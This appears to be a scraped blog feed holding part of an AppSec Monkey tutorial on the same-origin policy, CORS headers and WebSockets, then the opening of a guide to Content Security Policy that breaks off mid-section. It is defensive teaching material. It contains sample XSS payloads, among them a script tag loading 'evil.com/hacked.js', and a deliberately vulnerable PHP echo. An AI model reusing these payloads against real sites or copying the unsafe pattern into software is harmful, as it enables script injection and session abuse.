&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;PUT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-cors&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nc"&gt;Uncaught &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;promise&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Failed&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;execute&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;fetch&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;on&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Window&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;PUT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;is&lt;/span&gt; &lt;span class="nx"&gt;unsupported&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;no&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;cors&lt;/span&gt; &lt;span class="nx"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ❌ Not allowed: Sending JSON requests
&lt;/h3&gt;

&lt;p&gt;Only the whitelisted content types are allowed. This won't work.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Access&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="nx"&gt;at&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://a.local&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;has&lt;/span&gt; &lt;span class="nx"&gt;been&lt;/span&gt; &lt;span class="nx"&gt;blocked&lt;/span&gt; &lt;span class="nx"&gt;by&lt;/span&gt; &lt;span class="nx"&gt;CORS&lt;/span&gt; &lt;span class="nx"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;preflight&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="nx"&gt;doesn&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;t pass access control check: No &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;Access&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Control&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Allow&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt; header is present on the requested resource. If an opaque response serves your needs, set the request&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="nx"&gt;mode&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-cors&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;CORS&lt;/span&gt; &lt;span class="nx"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Again with the preflight. Alright, now I'll tell you what these &lt;code&gt;Access-Control-Allow-&lt;/code&gt; things are.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cross-Origin Resource Sharing (CORS)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://web.dev/cross-origin-resource-sharing/" rel="noopener noreferrer"&gt;Cross-Origin Resource Sharing&lt;/a&gt;, or CORS for short, is a mechanism for a website to partially opt-out of the same-origin policy in a controlled way.&lt;/p&gt;

&lt;h3&gt;
  
  
  Access-Control-Allow-Origin
&lt;/h3&gt;

&lt;p&gt;For example, if &lt;a href="http://b.local" rel="noopener noreferrer"&gt;http://b.local&lt;/a&gt; &lt;em&gt;wants&lt;/em&gt; &lt;a href="http://a.local" rel="noopener noreferrer"&gt;http://a.local&lt;/a&gt; to be able to read its content via fetch/XHR responses, then by specifying the CORS headers in the HTTP response, it can do so.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://a.local/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also use a wildcard as the origin, but then &lt;code&gt;Access-Control-Allow-Credentials&lt;/code&gt; (below) cannot be &lt;code&gt;true&lt;/code&gt;. Also, the wildcard cannot contain any other text, so *.appsecmonkey.com wouldn't work. It's all or nothing, a complete wildcard or an exact origin.&lt;/p&gt;

&lt;h3&gt;
  
  
  Access-Control-Allow-Credentials
&lt;/h3&gt;

&lt;p&gt;By default, CORS doesn't allow credentialed requests (that include the browser user's cookies). After all, credentialed CORS requests effectively give the websites to whom the privilege is granted full read and write control of the browser user's data in the application.&lt;/p&gt;

&lt;p&gt;If you still want to enable it, you can use the &lt;code&gt;Access-Control-Allow-Credentials&lt;/code&gt; header like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Credentials&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Access-Control-Allow-Headers
&lt;/h3&gt;

&lt;p&gt;Then, if you want to allow JSON requests or other non-whitelisted headers/values, you can do so via the &lt;code&gt;Access-Control-Allow-Headers&lt;/code&gt; header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;content-type&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Access-Control-Allow-Methods
&lt;/h3&gt;

&lt;p&gt;Finally, if you want to enable other HTTP verbs than GET, POST, HEAD, and OPTIONS, you have to use the &lt;code&gt;Access-Control-Allow-Methods&lt;/code&gt; header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Methods&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;GET, POST, HEAD, PUT, PATCH, DELETE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Preflight
&lt;/h3&gt;

&lt;p&gt;GET, POST, and HEAD requests are always &lt;em&gt;sent&lt;/em&gt;, but the website is forbidden access to the response data if the response doesn't contain appropriate CORS headers.&lt;/p&gt;

&lt;p&gt;But how does the browser know whether it is allowed to send a PUT request or not? If the answer to the question "can I send a PUT request" is in response to the PUT request, doesn't this create a chicken and egg problem? That's a great question, and the answer is simple: we send two requests.&lt;/p&gt;

&lt;p&gt;The browser sends an &lt;code&gt;OPTIONS&lt;/code&gt; request &lt;em&gt;first&lt;/em&gt;, and then looks at the response headers for that request. If &lt;code&gt;PUT&lt;/code&gt; is allowed (in &lt;code&gt;Access-Control-Allow-Methods&lt;/code&gt;), only then the actual PUT request is sent.&lt;/p&gt;

&lt;p&gt;This first OPTIONS request is aptly named the &lt;a href="https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request" rel="noopener noreferrer"&gt;preflight request&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  CORS in action
&lt;/h3&gt;

&lt;p&gt;Let's revisit one of the tests we made earlier, but this time, &lt;a href="http://b.local/" rel="noopener noreferrer"&gt;http://b.local/&lt;/a&gt; returns the following HTTP response headers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Access-Control-Allow-Credentials&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Headers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;content-type&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Methods&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;GET, HEAD, POST, PUT&lt;/span&gt;
&lt;span class="na"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://a.local&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ✅ Allowed: Sending credentialed cross-origin GET, HEAD, POST, and PUT requests with fetch and reading the response
&lt;/h3&gt;

&lt;p&gt;Now we have complete control of the cross-origin page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;PUT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;}}).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// This is the HTML from our response as a text string&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;!&lt;/span&gt;&lt;span class="nx"&gt;doctype&lt;/span&gt; &lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="nx"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;en&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;head&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;meta&lt;/span&gt; &lt;span class="nx"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;utf&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/title&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;☠ Security Impact&lt;/strong&gt;: If you specify CORS headers like this, you are giving the allowed origins complete control over your website, including any authenticated user data and functionality. The same-origin policy is there to protect you, so think carefully before opting out of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  WebSockets
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ✅ Allowed: Opening a cross-origin WebSocket connection, reading from it, and writing to it
&lt;/h3&gt;

&lt;p&gt;This may be surprising, but the same-origin policy does not restrain WebSockets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;☠ Security Impact&lt;/strong&gt;: If the application using WebSockets doesn't validate the &lt;code&gt;Origin&lt;/code&gt; header in the WebSocket handshake or implement some other CSRF protection mechanism, it will be possible for a malicious website to open a WebSocket connection and use it as the browser user.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The same-origin policy is at the root of the web browser security model. It's old, and it's not perfect. As such, developers must understand the risks and implement the proper defense measures in their applications.&lt;/p&gt;

&lt;p&gt;Generally, writing is allowed (e.g., sending cross-origin POST requests), but reading is not (e.g., reading the response to those requests). This means that without CSRF protection, websites are in trouble.&lt;/p&gt;

&lt;p&gt;Developers can partially relax the same-origin policy with the CORS (Cross-Origin Resource Sharing) headers, but they should do so with care and avoid CORS altogether if possible.&lt;/p&gt;

&lt;p&gt;The same-origin policy can also be made tighter in some of the newer browsers via CORP (Cross-Origin Resource Policy) and COOP (Cross-Origin Opener Policy).&lt;/p&gt;

&lt;p&gt;Finally, and somewhat surprisingly, WebSockets are not protected by the Same Origin Policy at all. This can have surprising and unpleasant effects if you're not careful when implementing them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't stop here
&lt;/h2&gt;

&lt;p&gt;If you like this article, check out the other application security guides we have on &lt;a href="https://www.appsecmonkey.com/" rel="noopener noreferrer"&gt;AppSec Monkey&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>programming</category>
      <category>cyb</category>
    </item>
    <item>
      <title>Content Security Policy Header: A Complete Guide</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Mon, 01 Mar 2021 07:16:29 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/content-security-policy-header-a-complete-guide-15gb</link>
      <guid>https://forem.com/appsecmonkey/content-security-policy-header-a-complete-guide-15gb</guid>
      <description>&lt;p&gt;The original and up-to-date post can be found &lt;a href="https://www.appsecmonkey.com/blog/content-security-policy-header/" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Learn about CSP, how it works, and why it’s awesome. You will build a content security policy header from scratch and learn how to overcome the usual problems on the way. Let's get started!&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Content Security Policy (CSP)?
&lt;/h2&gt;

&lt;p&gt;Content Security Policy is an outstanding browser security feature that can prevent &lt;a href="https://www.appsecmonkey.com/blog/xss-attack-and-prevention/" rel="noopener noreferrer"&gt;XSS (Cross-Site Scripting)&lt;/a&gt; attacks. It also obsoletes the old &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options" rel="noopener noreferrer"&gt;X-Frame-Options&lt;/a&gt; header for preventing cross-site framing attacks.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are XSS vulnerabilities?
&lt;/h2&gt;

&lt;p&gt;XSS (Cross-Site Scripting) vulnerabilities arise when untrusted data gets interpreted as code in a web context. They usually result from: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Generating HTML unsafely (parameterizing without encoding correctly).&lt;/li&gt;
&lt;li&gt;Allowing users to edit HTML directly (WYSIWYG editors, for example).&lt;/li&gt;
&lt;li&gt;Allowing users to upload HTML/SVG files and serving those back unsafely.&lt;/li&gt;
&lt;li&gt;Using JavaScript unsafely (passing untrusted data into executable functions/properties).&lt;/li&gt;
&lt;li&gt;Using outdated and vulnerable JavaScript frameworks.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;XSS attacks exploit these vulnerabilities by, e.g., creating malicious links that inject and execute the attacker's JavaScript code in the target user's web browser when the user opens the link.&lt;/p&gt;

&lt;h2&gt;
  
  
  A simple example
&lt;/h2&gt;

&lt;p&gt;Here is a PHP script that is vulnerable to XSS:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;p&amp;gt;Search results for: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'search'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;/p&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is vulnerable because it generates HTML unsafely. The &lt;code&gt;search&lt;/code&gt; parameter is not &lt;em&gt;encoded&lt;/em&gt; correctly. An attacker can create a link such as the following, which would execute the attacker's JavaScript code on the website when the target opens it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;https://www.example.com/?search=&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Opening the link results in the following HTML getting rendered in the user's browser:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Search results for: &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why are XSS vulnerabilities bad?
&lt;/h2&gt;

&lt;p&gt;There is sometimes a misconception that XSS vulnerabilities are low severity bugs. They are not. The power to execute JavaScript code on a website in other people's browsers is equivalent to logging in to the hosting server and changing the HTML files for the affected users.&lt;/p&gt;

&lt;p&gt;As such, XSS attacks effectively make the attacker logged in as the target user, with the nasty addition of tricking the user into giving some information (such as their password) to the attacker, perhaps downloading and executing malware on the user's workstation.&lt;/p&gt;

&lt;p&gt;And it's not like XSS vulnerabilities only affect individual users. Stored XSS affects everyone who visits the infected page, and reflected XSS can often [spread like wildfire](&lt;a href="https://en.wikipedia.org/wiki/Samy_(computer_worm)" rel="noopener noreferrer"&gt;https://en.wikipedia.org/wiki/Samy_(computer_worm)&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How can CSP protect against XSS attacks?
&lt;/h2&gt;

&lt;p&gt;CSP protects against XSS attacks quite effectively in the following ways.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Restricting Inline Scripts
&lt;/h3&gt;

&lt;p&gt;By preventing the page from executing inline scripts, attacks like injecting&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;XSS)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;will not work.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Restricting Remote Scripts
&lt;/h3&gt;

&lt;p&gt;By preventing the page from loading scripts from arbitrary servers, attacks like injecting&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://evil.com/hacked.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;will not work.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Restricting Unsafe Javascript
&lt;/h3&gt;

&lt;p&gt;By preventing the page from executing text-to-JavaScript functions (also known as &lt;a href="https://portswigger.net/web-security/cross-site-scripting/dom-based" rel="noopener noreferrer"&gt;DOM-XSS sinks&lt;/a&gt;), your website will be forced to be safe from vulnerabilities like the following.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
